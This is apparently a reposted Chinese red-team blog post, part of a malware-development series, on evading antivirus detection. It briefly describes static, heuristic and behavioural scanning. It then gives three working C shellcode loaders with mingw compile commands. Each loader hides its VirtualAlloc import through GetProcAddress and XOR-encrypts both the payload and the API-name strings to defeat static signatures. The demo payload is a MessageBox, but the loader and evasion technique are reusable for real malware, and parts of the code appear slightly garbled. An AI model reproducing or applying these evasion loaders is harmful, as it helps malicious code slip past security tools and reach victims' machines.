【MalDev-10】免杀-1

admin 2024年12月28日22:10:32评论15 views字数 10600阅读35分20秒阅读模式

04-免杀

01-了解查杀机制

静态查杀:通过静态字节、字符特征进行查杀,如函数名、变量名等,与已知规则进行比对,如YARA工具。可以尽量不用硬编码方式避免静态查杀

启发式查杀:

1-反汇编查看功能代码段是否与已知恶意程序相似

2-沙箱运行查看行为特征

动态启发查杀:沙箱检测动态行为,如分配内存后连接反弹shell再写入内存,通过记录行为顺序,比对已知恶意行为

行为分析:监测进程行为,如发现加载dll,调用敏感API函数,建立网络连接等可疑行为,再通过内存扫描,确定是恶意软件则终止进程,或者不用内存扫描直接终止进程,如将shellcode注入到记事本进程,发现后立即终止

02-静态检测逃逸

避免硬编码命中已知恶意软件静态规则,简单来说就是通过地址调用避免出现函数名

代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload "Hello world" messagebox
unsigned char my_payload[] = 
"x48x83xECx28x48x83xE4xF0x48x8Dx15x66x00x00x00"
"x48x8Dx0Dx52x00x00x00xE8x9Ex00x00x00x4Cx8BxF8"
"x48x8Dx0Dx5Dx00x00x00xFFxD0x48x8Dx15x5Fx00x00"
"x00x48x8Dx0Dx4Dx00x00x00xE8x7Fx00x00x00x4Dx33"
"xC9x4Cx8Dx05x61x00x00x00x48x8Dx15x4Ex00x00x00"
"x48x33xC9xFFxD0x48x8Dx15x56x00x00x00x48x8Dx0D"
"x0Ax00x00x00xE8x56x00x00x00x48x33xC9xFFxD0x4B"
"x45x52x4Ex45x4Cx33x32x2Ex44x4Cx4Cx00x4Cx6Fx61"
"x64x4Cx69x62x72x61x72x79x41x00x55x53x45x52x33"
"x32x2Ex44x4Cx4Cx00x4Dx65x73x73x61x67x65x42x6F"
"x78x41x00x48x65x6Cx6Cx6Fx20x77x6Fx72x6Cx64x00"
"x4Dx65x73x73x61x67x65x00x45x78x69x74x50x72x6F"
"x63x65x73x73x00x48x83xECx28x65x4Cx8Bx04x25x60"
"x00x00x00x4Dx8Bx40x18x4Dx8Dx60x10x4Dx8Bx04x24"
"xFCx49x8Bx78x60x48x8BxF1xACx84xC0x74x26x8Ax27"
"x80xFCx61x7Cx03x80xECx20x3AxE0x75x08x48xFFxC7"
"x48xFFxC7xEBxE5x4Dx8Bx00x4Dx3BxC4x75xD6x48x33"
"xC0xE9xA7x00x00x00x49x8Bx58x30x44x8Bx4Bx3Cx4C"
"x03xCBx49x81xC1x88x00x00x00x45x8Bx29x4Dx85xED"
"x75x08x48x33xC0xE9x85x00x00x00x4Ex8Dx04x2Bx45"
"x8Bx71x04x4Dx03xF5x41x8Bx48x18x45x8Bx50x20x4C"
"x03xD3xFFxC9x4Dx8Dx0Cx8Ax41x8Bx39x48x03xFBx48"
"x8BxF2xA6x75x08x8Ax06x84xC0x74x09xEBxF5xE2xE6"
"x48x33xC0xEBx4Ex45x8Bx48x24x4Cx03xCBx66x41x8B"
"x0Cx49x45x8Bx48x1Cx4Cx03xCBx41x8Bx04x89x49x3B"
"xC5x7Cx2Fx49x3BxC6x73x2Ax48x8Dx34x18x48x8Dx7C"
"x24x30x4Cx8BxE7xA4x80x3Ex2Ex75xFAxA4xC7x07x44"
"x4Cx4Cx00x49x8BxCCx41xFFxD7x49x8BxCCx48x8BxD6"
"xE9x14xFFxFFxFFx48x03xC3x48x83xC4x28xC3";

unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
  void * my_payload_mem; // memory buffer for payload
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // copy payload to buffer
  RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

  // make new buffer as executable
  rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {
  // run payload
    th = CreateThread(00, (LPTHREAD_START_ROUTINE) my_payload_mem, 000);
    WaitForSingleObject(th, -1);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

反汇编查看

objdump -x -D hack.exe | less

发现

【MalDev-10】免杀-1

导入了KERNEL32.dll中的CreateThread, VirtualAlloc, VirtualProtect, WaitForSingleObject函数

隐藏VirtualAlloc调用,定义一个函数指针

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

使用GetProcAddress获取kernel32.dll中VirtualAlloc地址,给到上面定义的函数指针

  pVirtualAlloc = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

通过pVirtualAlloc调用原来函数即可,完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

// our payload "Hello world" messagebox
unsigned char payload[] =
"x48x83xECx28x48x83xE4xF0x48x8Dx15x66x00x00x00"
"x48x8Dx0Dx52x00x00x00xE8x9Ex00x00x00x4Cx8BxF8"
"x48x8Dx0Dx5Dx00x00x00xFFxD0x48x8Dx15x5Fx00x00"
"x00x48x8Dx0Dx4Dx00x00x00xE8x7Fx00x00x00x4Dx33"
"xC9x4Cx8Dx05x61x00x00x00x48x8Dx15x4Ex00x00x00"
"x48x33xC9xFFxD0x48x8Dx15x56x00x00x00x48x8Dx0D"
"x0Ax00x00x00xE8x56x00x00x00x48x33xC9xFFxD0x4B"
"x45x52x4Ex45x4Cx33x32x2Ex44x4Cx4Cx00x4Cx6Fx61"
"x64x4Cx69x62x72x61x72x79x41x00x55x53x45x52x33"
"x32x2Ex44x4Cx4Cx00x4Dx65x73x73x61x67x65x42x6F"
"x78x41x00x48x65x6Cx6Cx6Fx20x77x6Fx72x6Cx64x00"
"x4Dx65x73x73x61x67x65x00x45x78x69x74x50x72x6F"
"x63x65x73x73x00x48x83xECx28x65x4Cx8Bx04x25x60"
"x00x00x00x4Dx8Bx40x18x4Dx8Dx60x10x4Dx8Bx04x24"
"xFCx49x8Bx78x60x48x8BxF1xACx84xC0x74x26x8Ax27"
"x80xFCx61x7Cx03x80xECx20x3AxE0x75x08x48xFFxC7"
"x48xFFxC7xEBxE5x4Dx8Bx00x4Dx3BxC4x75xD6x48x33"
"xC0xE9xA7x00x00x00x49x8Bx58x30x44x8Bx4Bx3Cx4C"
"x03xCBx49x81xC1x88x00x00x00x45x8Bx29x4Dx85xED"
"x75x08x48x33xC0xE9x85x00x00x00x4Ex8Dx04x2Bx45"
"x8Bx71x04x4Dx03xF5x41x8Bx48x18x45x8Bx50x20x4C"
"x03xD3xFFxC9x4Dx8Dx0Cx8Ax41x8Bx39x48x03xFBx48"
"x8BxF2xA6x75x08x8Ax06x84xC0x74x09xEBxF5xE2xE6"
"x48x33xC0xEBx4Ex45x8Bx48x24x4Cx03xCBx66x41x8B"
"x0Cx49x45x8Bx48x1Cx4Cx03xCBx41x8Bx04x89x49x3B"
"xC5x7Cx2Fx49x3BxC6x73x2Ax48x8Dx34x18x48x8Dx7C"
"x24x30x4Cx8BxE7xA4x80x3Ex2Ex75xFAxA4xC7x07x44"
"x4Cx4Cx00x49x8BxCCx41xFFxD7x49x8BxCCx48x8BxD6"
"xE9x14xFFxFFxFFx48x03xC3x48x83xC4x28xC3";

int main(void) {
  void * payload_mem; // memory buffer for payload
  BOOL result;
  HANDLE thread_handle;
  DWORD oldprotect = 0;

  // Allocate memory buffer for payload
  pVirtualAlloc = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
  payload_mem = pVirtualAlloc(0sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  
  // copy payload to buffer
  RtlMoveMemory(payload_mem, payload, sizeof(payload));

  // make new buffer as executable
  result = VirtualProtect(payload_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
  if ( result != 0 ) {
  // run payload
    thread_handle = CreateThread(00, (LPTHREAD_START_ROUTINE) payload_mem, 000);
    WaitForSingleObject(thread_handle, -1);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32

反汇编查看

objdump -x -D hack2.exe | less

【MalDev-10】免杀-1

已经没有VirtualAlloc的调用了,但是查看字符串信息

strings -n 8 hack2.exe | less

【MalDev-10】免杀-1

还是可以发现VirtualAlloc,因为代码里面使用GetProcAddress获取地址的时候使用了字符串,可以使用XOR加解密字符串

void deXOR(char *buffer, size_t bufferLength, char *key, size_t
keyLength)
 
{
int keyIndex = 0;
for (int i = 0; i < bufferLength; i++) {
if (keyIndex == keyLength - 1) keyIndex = 0;
buffer[i] = buffer[i] ^ key[keyIndex];
keyIndex++;
}
}

完整代码

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

// payload: messagebox (XOR encrypted)
unsigned char payload[] = { 0x3b0xe60x8f0x5a0x2d0xf70x970x950x2b0xff0x700x120x730x650x630x3a0xe80x790x210x650x630x720x8d0xea0x730x650x630x3e0xee0x8c0x3b0xe80x6e0x2f0x650x740x730x9a0xb30x3a0xe80x610x2c0x650x630x720x2d0xf90x7e0x280x630x720x650x9c0xc0x650x630x720x280x470xba0x290xee0x770x40x740x730x650x2b0xff0x700x3a0x730x650x630x3a0x560xbd0x8c0xb50x2b0xff0x700x220x730x650x630x3a0xe80x790x790x650x630x720x8d0x220x730x650x630x3a0x560xbd0x8c0xb50x280x370x370x3a0x360x290x500x400x4b0x300x3f0x290x630x3e0xa0x150x170x290xa0x100x170x150x10x1c0x220x720x300x270x360x370x500x400x4b0x300x3f0x290x630x3f0x00x70x00x40x40x170x270x1b0xb0x240x630x3a0x00x180x1f0xa0x430x50xa0x60x1f0x10x630x3f0x00x70x00x40x40x170x650x310xb0xc0x170x220x170x1b0x100x00x100x10x650x3c0xf00x890x4b0x170x290xff0x770x400x30x720x650x740x3e0xee0x230x6a0x280xf90x130x750x2e0xf90x610x500x8f0x2c0xe80xa0x50x3c0xf80x940xcf0xf60xa50x00x550xef0x440xf20x990x150xf0x660xe30x9e0x450x4e0x930x100x6b0x3a0x9a0xb30x3b0x9a0xa40x990x800x390xf80x650x2e0x490xa10x10xa50x2d0x500xb20x8c0xd30x730x650x630x3b0xee0x2c0x430x210xe80x390x590x380x700xae0x2a0xf30xa40xfc0x730x650x630x370xee0x5d0x3e0xe00x8e0x70x6d0x3c0x400xa50x8a0xf70x650x740x730x2b0xee0x760x4e0x310xf80x140x670x3f0x660x810x320xee0x2b0x6a0x200xff0x230x450x2f0x710xb60x8b0xba0x280xee0x7e0xef0x350xf80x5c0x2b0x710x9e0x3c0xf80x970xc50x70x6d0xfe0x750xe10xa30x60x6c0x9f0x860x870x850x3a0x560xb40x980x2b0x260xf90x2d0x500x3f0x660xa80x140x240xff0x7f0x2c0x260xf90x2d0x680x3f0x660xa80x330xee0x700xfa0x2c0x580xb70x190x5b0x3a0x5e0xa50x10x4f0x3c0xfe0x510x7b0x3a0xe80x80x570x550x2f0xf90x820xd00xf30x5b0x4d0x70x9f0xd00xb40x620x270x3e0x290x740x3a0xee0xaf0x330x9a0xa30x3a0xee0xaf0x3a0xee0xa20x9a0x710x9c0x8d0x9a0x3c0x700xa60x2b0xf10xa10x5c0xb0 };
unsigned char cVirtualAlloc[] = { 0x250xc0x110x60x100x150x1f0x240xf0x1e0xa0x17 };

char secretKey[] = "secret";

// encryption / decryption XOR function
void deXOR(char *buffer, size_t bufferLength, char *key, size_t keyLength) {
  int keyIndex = 0;
  for (int i = 0; i < bufferLength; i++) {
    if (keyIndex == keyLength - 1) keyIndex = 0;
    buffer[i] = buffer[i] ^ key[keyIndex];
    keyIndex++;
  }
}

int main(void) {
  void * payload_mem; // memory buffer for payload
  BOOL result;
  HANDLE thread_handle;
  DWORD oldprotect = 0;
  
  // decrypt payload
  deXOR((char*)payload, sizeof(payload), secretKey, sizeof(secretKey));
  deXOR((char*)cVirtualAlloc, sizeof(cVirtualAlloc), secretKey, sizeof(secretKey));

  // allocate memory buffer for payload
  HMODULE kernel = GetModuleHandle("kernel32.dll");
  pVirtualAlloc = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(kernel, (LPCSTR)cVirtualAlloc);
  payload_mem = pVirtualAlloc(0sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

   // copy payload to buffer
  RtlMoveMemory(payload_mem, payload, sizeof(payload));

  // make new buffer as executable
  result = VirtualProtect(payload_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
  if ( result != 0 ) {
  // run payload
    thread_handle = CreateThread(00, (LPTHREAD_START_ROUTINE) payload_mem, 000);
    WaitForSingleObject(thread_handle, -1);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

查看字符串

strings -n 8 hack3.exe | grep "Virtual"

已经没有了

【MalDev-10】免杀-1

也可以使用RC4或者AES加密

配套实验环境和电子书加Q拉群下载

【MalDev-10】免杀-1

原文始发于微信公众号(高级红队专家):【MalDev-10】免杀-1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日22:10:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-10】免杀-1https://cn-sec.com/archives/3493678.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息